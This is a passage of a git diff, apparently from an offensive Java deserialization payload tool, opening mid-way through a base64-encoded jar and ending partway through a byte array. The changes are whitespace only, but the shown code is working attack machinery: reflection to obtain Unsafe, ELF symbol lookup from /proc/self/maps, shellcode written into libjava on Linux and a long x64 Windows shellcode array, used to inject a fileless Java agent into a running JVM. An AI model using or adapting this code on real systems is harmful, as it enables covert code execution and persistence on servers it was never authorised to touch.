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mF2YXNzaXN0L3V0aWwvcHJveHkvUHJveHlGYWN0b3J5JENsYXNzTG9hZGVyUHJvdmlkZXIuY2xhc3NQSwECFAMKAAAACAACbMs83F+eR7QBAADfAgAANAAAAAAAAAAAAAAApIHq4QgAamF2YXNzaXN0L3V0aWwvcHJveHkvUHJveHlGYWN0b3J5JFByb3h5RGV0YWlscy5jbGFzc1BLAQIUAwoAAAAIAAJsyzzIxgfOejIAAIVsAAAnAAAAAAAAAAAAAACkgfDjCABqYXZhc3Npc3QvdXRpbC9wcm94eS9Qcm94eUZhY3RvcnkuY2xhc3NQSwECFAMKAAAACAACbMs8fwpKg5wAAAD5AAAAJgAAAAAAAAAAAAAApIGvFgkAamF2YXNzaXN0L3V0aWwvcHJveHkvUHJveHlPYmplY3QuY2xhc3NQSwECFAMKAAAACAACbMs8Nk2VA2oEAAB2CAAAMQAAAAAAAAAAAAAApIGPFwkAamF2YXNzaXN0L3V0aWwvcHJveHkvUHJveHlPYmplY3RJbnB1dFN0cmVhbS5jbGFzc1BLAQIUAwoAAAAIAAJsyzz2y5hlSgQAAA8IAAAyAAAAAAAAAAAAAACkgUgcCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9Qcm94eU9iamVjdE91dHB1dFN0cmVhbS5jbGFzc1BLAQIUAwoAAAAIAAJsyzwxUmWb1gEAAN0DAAA+AAAAAAAAAAAAAACkgeIgCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9SdW50aW1lU3VwcG9ydCREZWZhdWx0TWV0aG9kSGFuZGxlci5jbGFzc1BLAQIUAwoAAAAIAAJsyzyJTn6WgAkAAAMUAAApAAAAAAAAAAAAAACkgRQjCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9SdW50aW1lU3VwcG9ydC5jbGFzc1BLAQIUAwoAAAAIAAJsyzzjhk1vjwEAAJUCAAAsAAAAAAAAAAAAAACkgdssCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkMS5jbGFzc1BLAQIUAwoAAAAIAAJsyzwPVUv7kQEAAJ8CAAAsAAAAAAAAAAAAAACkgbQuCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkMi5jbGFzc1BLAQIUAwoAAAAIAAJsyzwRwR6b8wEAAJcDAAAsAAAAAAAAAAAAAACkgY8wCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkMy5jbGFzc1BLAQIUAwoAAAAIAAJsyzw1dWL71AEAADwDAAAsAAAAAAAAAAAAAACkgcwyCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkNC5jbGFzc1BLAQIUAwoAAAAIAAJsyzwsJgZpsAEAAOkCAAAsAAAAAAAAAAAAAACkgeo0CQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkNS5jbGFzc1BLAQIUAwoAAAAIAAJsyzwBdac93wEAAHgDAAAsAAAAAAAAAAAAAACkgeQ2CQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkNi5jbGFzc1BLAQIUAwoAAAAIAAJsyzyTEpVpQgUAAJsNAAAqAAAAAAAAAAAAAACkgQ05CQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMuY2xhc3NQSwECFAMKAAAACAACbMs8Ojf05yYCAAAZBAAALAAAAAAAAAAAAAAApIGXPgkAamF2YXNzaXN0L3V0aWwvcHJveHkvU2VyaWFsaXplZFByb3h5JDEuY2xhc3NQSwECFAMKAAAACAACbMs8cKoBVgcHAABRDgAAKgAAAAAAAAAAAAAApIEHQQkAamF2YXNzaXN0L3V0aWwvcHJveHkvU2VyaWFsaXplZFByb3h5LmNsYXNzUEsBAhQDCgAAAAgAAmzLPJiNBCzsAAAAWQEAABwAAAAAAAAAAAAAAKSBVkgJAGphdmFzc2lzdC91dGlsL1RyaWdnZXIuY2xhc3NQSwECFAMKAAAAAAANbMs8AAAAAAAAAAAAAAAADwAAAAAAAAAAABAA7UF8SQkATUVUQS1JTkYvbWF2ZW4vUEsBAhQDCgAAAAAADWzLPAAAAAAAAAAAAAAAABkAAAAAAAAAAAAQAO1BqUkJAE1FVEEtSU5GL21hdmVuL2phdmFzc2lzdC9QSwECFAMKAAAAAAANbMs8AAAAAAAAAAAAAAAAIwAAAAAAAAAAABAA7UHgSQkATUVUQS1JTkYvbWF2ZW4vamF2YXNzaXN0L2phdmFzc2lzdC9QSwECFAMKAAAACAD5a8s82kx7wG0GAADxFwAAKgAAAAAAAAAAAAAApIEhSgkATUVUQS1JTkYvbWF2ZW4vamF2YXNzaXN0L2phdmFzc2lzdC9wb20ueG1sUEsBAhQDCgAAAAgADWzLPOQooFthAAAAawAAADEAAAAAAAAAAAAAAKSB1lAJAE1FVEEtSU5GL21hdmVuL2phdmFzc2lzdC9qYXZhc3Npc3QvcG9tLnByb3BlcnRpZXNQSwUGAAAAAIYBhgGYggAAhlEJAAAA"; } - public Class defineClass(byte[] classBytes) { + public Class defineClass(byte[] classBytes) { return super.defineClass(classBytes, 0, classBytes.length); } } diff --git a/src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForLinux.java b/src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForLinux.java index 0fbb407..66c7541 100644 --- a/src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForLinux.java +++ b/src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForLinux.java @@ -33,8 +33,8 @@ public class AgentNoFileForLinux { if (unsafe == null) { try { - Class gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor"); - java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe"); + Class gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor"); + java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null); } catch (Exception ignored) { @@ -43,8 +43,8 @@ public class AgentNoFileForLinux { if (unsafe == null) { try { - Class nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess"); - java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE"); + Class nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess"); + java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null); } catch (Exception ignored) { @@ -71,21 +71,21 @@ public class AgentNoFileForLinux { // modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL); // field1.setBoolean(null, true); - FileReader fin = new FileReader("/proc/self/maps"); - BufferedReader reader = new BufferedReader(fin); - String line; - long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0; + FileReader fin = new FileReader("/proc/self/maps"); + BufferedReader reader = new BufferedReader(fin); + String line; + long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0; while ((line = reader.readLine()) != null) { String[] splits = line.trim().split(" "); if (line.endsWith("libjava.so") && RandomAccessFile_length == 0) { String[] addr_range = splits[0].split("-"); - long libbase = Long.parseLong(addr_range[0], 16); - String elfpath = splits[splits.length - 1]; + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase); } else if (line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) { String[] addr_range = splits[0].split("-"); - long libbase = Long.parseLong(addr_range[0], 16); - String elfpath = splits[splits.length - 1]; + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase); } @@ -99,8 +99,8 @@ public class AgentNoFileForLinux { //RSP 16字节对齐 byte[] stack_align = {0x55, 0x48, (byte) 0x89, (byte) 0xe5, 0x48, (byte) 0xc7, (byte) 0xc0, 0xf, 0, 0, 0, 0x48, (byte) 0xf7, (byte) 0xd0}; - byte[] movabs_rax = {0x48, (byte) 0xb8}; - ByteBuffer buffer = ByteBuffer.allocate(Long.SIZE / Byte.SIZE); + byte[] movabs_rax = {0x48, (byte) 0xb8}; + ByteBuffer buffer = ByteBuffer.allocate(Long.SIZE / Byte.SIZE); buffer.order(ByteOrder.LITTLE_ENDIAN); buffer.putLong(0, JNI_GetCreatedJavaVMs); @@ -109,8 +109,8 @@ public class AgentNoFileForLinux { (byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10, 0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte) 0xC9, (byte) 0xC3}; - int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length; - long landingpad = RandomAccessFile_length; + int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length; + long landingpad = RandomAccessFile_length; byte[] backup = new byte[shellcode_len]; fout.seek(landingpad); @@ -144,35 +144,35 @@ public class AgentNoFileForLinux { } static long find_symbol(String elfpath, String sym, long libbase) throws IOException { - long func_ptr = 0; - RandomAccessFile fin = new RandomAccessFile(elfpath, "r"); + long func_ptr = 0; + RandomAccessFile fin = new RandomAccessFile(elfpath, "r"); byte[] e_ident = new byte[16]; fin.read(e_ident); - short e_type = Short.reverseBytes(fin.readShort()); - short e_machine = Short.reverseBytes(fin.readShort()); - int e_version = Integer.reverseBytes(fin.readInt()); - long e_entry = Long.reverseBytes(fin.readLong()); - long e_phoff = Long.reverseBytes(fin.readLong()); - long e_shoff = Long.reverseBytes(fin.readLong()); - int e_flags = Integer.reverseBytes(fin.readInt()); - short e_ehsize = Short.reverseBytes(fin.readShort()); + short e_type = Short.reverseBytes(fin.readShort()); + short e_machine = Short.reverseBytes(fin.readShort()); + int e_version = Integer.reverseBytes(fin.readInt()); + long e_entry = Long.reverseBytes(fin.readLong()); + long e_phoff = Long.reverseBytes(fin.readLong()); + long e_shoff = Long.reverseBytes(fin.readLong()); + int e_flags = Integer.reverseBytes(fin.readInt()); + short e_ehsize = Short.reverseBytes(fin.readShort()); short e_phentsize = Short.reverseBytes(fin.readShort()); - short e_phnum = Short.reverseBytes(fin.readShort()); + short e_phnum = Short.reverseBytes(fin.readShort()); short e_shentsize = Short.reverseBytes(fin.readShort()); - short e_shnum = Short.reverseBytes(fin.readShort()); - short e_shstrndx = Short.reverseBytes(fin.readShort()); + short e_shnum = Short.reverseBytes(fin.readShort()); + short e_shstrndx = Short.reverseBytes(fin.readShort()); - int sh_name = 0; - int sh_type = 0; - long sh_flags = 0; - long sh_addr = 0; - long sh_offset = 0; - long sh_size = 0; - int sh_link = 0; - int sh_info = 0; + int sh_name = 0; + int sh_type = 0; + long sh_flags = 0; + long sh_addr = 0; + long sh_offset = 0; + long sh_size = 0; + int sh_link = 0; + int sh_info = 0; long sh_addralign = 0; - long sh_entsize = 0; + long sh_entsize = 0; for (int i = 0; i < e_shnum; ++i) { fin.seek(e_shoff + i * 64); @@ -191,10 +191,10 @@ public class AgentNoFileForLinux { } } - int symtab_shdr_sh_link = sh_link; - long symtab_shdr_sh_size = sh_size; + int symtab_shdr_sh_link = sh_link; + long symtab_shdr_sh_size = sh_size; long symtab_shdr_sh_entsize = sh_entsize; - long symtab_shdr_sh_offset = sh_offset; + long symtab_shdr_sh_offset = sh_offset; fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize); sh_name = Integer.reverseBytes(fin.readInt()); @@ -213,12 +213,12 @@ public class AgentNoFileForLinux { long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size / symtab_shdr_sh_entsize : 0; for (long i = 0; i < cnt; ++i) { fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize * i); - int st_name = Integer.reverseBytes(fin.readInt()); - byte st_info = fin.readByte(); - byte st_other = fin.readByte(); + int st_name = Integer.reverseBytes(fin.readInt()); + byte st_info = fin.readByte(); + byte st_other = fin.readByte(); short st_shndx = Short.reverseBytes(fin.readShort()); - long st_value = Long.reverseBytes(fin.readLong()); - long st_size = Long.reverseBytes(fin.readLong()); + long st_value = Long.reverseBytes(fin.readLong()); + long st_size = Long.reverseBytes(fin.readLong()); if (st_value == 0 || st_name == 0 || (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC)) { @@ -227,7 +227,7 @@ public class AgentNoFileForLinux { fin.seek(symstr_shdr_sh_offset + st_name); String name = ""; - byte ch = 0; + byte ch = 0; while ((ch = fin.readByte()) != 0) { name += (char) ch; } @@ -244,13 +244,13 @@ public class AgentNoFileForLinux { public static void redefineClasses(String className, byte[] classBody, long JPLISAgent) { try { - Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); - Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); constructor.setAccessible(true); Object inst = constructor.newInstance(JPLISAgent, true, false); - ClassDefinition definition = new ClassDefinition(Class.forName(className, false, Thread.currentThread().getContextClassLoader()), classBody); - Method redefineClazz = instrument_clazz.getMethod("redefineClasses", new Class[]{ClassDefinition[].class}); + ClassDefinition definition = new ClassDefinition(Class.forName(className, false, Thread.currentThread().getContextClassLoader()), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", new Class[]{ClassDefinition[].class}); redefineClazz.invoke(inst, new Object[]{new ClassDefinition[]{definition}}); } catch (Throwable error) { error.printStackTrace(); diff --git a/src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForWindows.java b/src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForWindows.java index 8ca8b92..ca9bea3 100644 --- a/src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForWindows.java +++ b/src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForWindows.java @@ -31,8 +31,8 @@ public class AgentNoFileForWindows { if (unsafe == null) { try { - Class gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor"); - java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe"); + Class gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor"); + java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null); } catch (Exception ignored) { @@ -41,8 +41,8 @@ public class AgentNoFileForWindows { if (unsafe == null) { try { - Class nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess"); - java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE"); + Class nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess"); + java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null); } catch (Exception ignored) { @@ -62,7 +62,7 @@ public class AgentNoFileForWindows { } public static void redefineClasses(String className, byte[] classBody) throws Exception { - Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); + Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF"); field1.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); @@ -72,7 +72,7 @@ public class AgentNoFileForWindows { //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 long JPLISAgent = unsafe.allocateMemory(0x1000); - byte[] buf = new byte[]{(byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x41, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x40, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x96, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x8B, (byte) 0x58, (byte) 0x20, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x44, (byte) 0x8B, (byte) 0x43, (byte) 0x3C, (byte) 0x4C, (byte) 0x89, (byte) 0xC2, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x44, (byte) 0x8B, (byte) 0x82, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x01, (byte) 0xD8, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x49, (byte) 0xB9, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x48, (byte) 0xFF, (byte) 0xC1, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0x8B, (byte) 0x04, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xD8, (byte) 0x4C, (byte) 0x39, (byte) 0x08, (byte) 0x75, (byte) 0xEF, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x24, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x1C, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x48, (byte) 0x89, (byte) 0xD7, (byte) 0xB9, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x48, (byte) 0x89, (byte) 0xD9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x48, (byte) 0x89, (byte) 0xC6, (byte) 0xB9, (byte) 0x6C, (byte) 0x6C, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0xB9, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD6, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0xB9, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x73, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4C, (byte) 0x89, (byte) 0xF9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x18, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xC8, (byte) 0x49, (byte) 0x83, (byte) 0xC0, (byte) 0x08, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x8B, (byte) 0x09, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x54, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x4C, (byte) 0x8B, (byte) 0x39, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x20, (byte) 0x49, (byte) 0x89, (byte) 0xCE, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x48, (byte) 0xBA, (byte) 0x48, (byte) 0x47, (byte) 0x46, (byte) 0x45, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x41, (byte) 0xB8, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x20, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x78, (byte) 0xC3}; + byte[] buf = new byte[]{(byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x41, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x40, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x96, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x8B, (byte) 0x58, (byte) 0x20, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x44, (byte) 0x8B, (byte) 0x43, (byte) 0x3C, (byte) 0x4C, (byte) 0x89, (byte) 0xC2, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x44, (byte) 0x8B, (byte) 0x82, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x01, (byte) 0xD8, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x49, (byte) 0xB9, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x48, (byte) 0xFF, (byte) 0xC1, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0x8B, (byte) 0x04, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xD8, (byte) 0x4C, (byte) 0x39, (byte) 0x08, (byte) 0x75, (byte) 0xEF, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x24, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x1C, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 